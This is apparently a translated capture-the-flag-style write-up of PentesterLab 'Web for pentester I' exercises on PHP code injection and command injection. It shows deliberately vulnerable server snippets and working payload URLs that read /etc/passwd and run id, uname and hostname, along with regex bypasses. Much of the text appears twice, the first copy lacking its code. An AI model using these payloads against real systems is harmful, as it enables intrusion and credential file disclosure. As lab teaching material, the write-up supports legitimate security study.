Web for pentester I " of Pentesterlab, this time performing the exercises corresponding to the vulnerabilities of code injection and command injection.
When we talk about command injection, the objective is the execution of commands (worth the redundancy) in the host operating system through the vulnerable application, which is done with the privileges of the user of the application. In the case of code injection the attacker can add his own code that is then executed by the application. Let's say that in "Code Injection" the attacker expands the default functionality of the application without having to execute system commands, although it can also do so using the corresponding functions of the programming language used (eg system in php).
Both can be exploited when an application does not filter (or does it incorrectly) the data entered by the user (forms, cookies, HTTP headers, etc.).
CODE INJECTION
Exercise 1:
In the first example we see that the developer has used the eval function to execute what you pass as a parameter as a line of php code and ... well many say that " eval is evil " and by not filtering the input before we can simply concatenate another command with a simple dot (".") and use # to comment the rest of the code:
SERVER
PAYLOAD
Decoded: hacker ".system ('hostname'); #
Exercise 2:
The following php code shows the users of the users table sorted by the field that we specify:
SERVER:
The usort function is widely used with the create_function function to dynamically generate the function to order the output based on user-controlled information. But if a filtering is not carried out, it can lead to code execution as we see below:
PAYLOAD:
Decoded: id);} system ('cat / etc / passwd'); #
Exercise 3:
The following code uses preg_replace to replace characters and strings in a text string after a search performed using regular expressions. For example:
SERVER
The issue (as almost always) is that if we do not filter the pattern parameter we can also inject code:
PAYLOAD
Exercise 4:
And the last exercise in this series is based on the assert function that evaluates the received parameter (assertion) and takes the appropriate action if its result is FALSE.
SERVER
We can also pass a malicious payload and get remote execution:
PAYLOAD
COMMAND INJECTION
Exercise 1:
In the first exercise there is no validation so we can inject any command in the ip parameter:
SERVER
PAYLOAD
Exercise 2:
In the second exercise, this time and as you can see in the code, if there is validation, although it is incorrect.
SERVER
The problem is that the regular expression is multiline, so we only have to use an encoded line break and we can execute commands again:
PAYLOAD
Exercise 3:
On this occasion, the preg_match function is well implemented but the script does not stop when finding a malicious expression, it simply redirects with header and continues:
SERVER
So we can reconfigure our command and use a proxy like Burpsuite or nc / telnet to see the output of it:
PAYLOAD
And with this we end the series of code and command injection vulnerabilities. See you in the next and last writeup post!
When we talk about command injection, the objective is the execution of commands (worth the redundancy) in the host operating system through the vulnerable application, which is done with the privileges of the user of the application. In the case of code injection the attacker can add his own code that is then executed by the application. Let's say that in "Code Injection" the attacker expands the default functionality of the application without having to execute system commands, although it can also do so using the corresponding functions of the programming language used (eg system in php).
Both can be exploited when an application does not filter (or does it incorrectly) the data entered by the user (forms, cookies, HTTP headers, etc.).
CODE INJECTION
Exercise 1:
In the first example we see that the developer has used the eval function to execute what you pass as a parameter as a line of php code and ... well many say that " eval is evil " and by not filtering the input before we can simply concatenate another command with a simple dot (".") and use # to comment the rest of the code:
SERVER
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
?>PAYLOAD
http://pentesterlab/codeexec/example1.php?name=hacker%22.system(%27hostname%27)%3B%23Decoded: hacker ".system ('hostname'); #
Exercise 2:
The following php code shows the users of the users table sorted by the field that we specify:
SERVER:
...
require_once('../sqli/db.php');
$sql = "SELECT * FROM users ";
$order = $_GET["order"];
$result = mysql_query($sql);
if ($result) {
while ($row = mysql_fetch_assoc($result)) {
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
}
....
The usort function is widely used with the create_function function to dynamically generate the function to order the output based on user-controlled information. But if a filtering is not carried out, it can lead to code execution as we see below:
PAYLOAD:
http://pentesterlab/codeexec/example2.php?order=id)%3B}system(%27cat%20/etc/passwd%27)%3B%23Decoded: id);} system ('cat / etc / passwd'); #
Exercise 3:
The following code uses preg_replace to replace characters and strings in a text string after a search performed using regular expressions. For example:
http://pentesterlab/codeexec/example3.php?pattern=/[0-9]/&new=cambiado&base=1
SERVER
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>The issue (as almost always) is that if we do not filter the pattern parameter we can also inject code:
PAYLOAD
http://pentesterlab/codeexec/example3.php?&pattern=/[0-9]/e&new=system(%27uname%20-a%27)&base=1
Exercise 4:
And the last exercise in this series is based on the assert function that evaluates the received parameter (assertion) and takes the appropriate action if its result is FALSE.
SERVER
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);We can also pass a malicious payload and get remote execution:
PAYLOAD
http://pentesterlab/codeexec/example4.php?name=hacker'.system('uname -a').'
COMMAND INJECTION
Exercise 1:
In the first exercise there is no validation so we can inject any command in the ip parameter:
SERVER
<?php require_once("../header.php"); ?>
<pre>
<?php
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>PAYLOAD
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1 && id
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1; id
http://pentesterlab/commandexec/example1.php?ip=127.0.0.1| id
In the second exercise, this time and as you can see in the code, if there is validation, although it is incorrect.
SERVER
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>The problem is that the regular expression is multiline, so we only have to use an encoded line break and we can execute commands again:
PAYLOAD
http://pentesterlab/commandexec/example2.php?ip=127.0.0.1%0Acat%20/etc/passwd
Exercise 3:
On this occasion, the preg_match function is well implemented but the script does not stop when finding a malicious expression, it simply redirects with header and continues:
SERVER
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>So we can reconfigure our command and use a proxy like Burpsuite or nc / telnet to see the output of it:
PAYLOAD
% telnet pentesterlab 80
GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0
And with this we end the series of code and command injection vulnerabilities. See you in the next and last writeup post!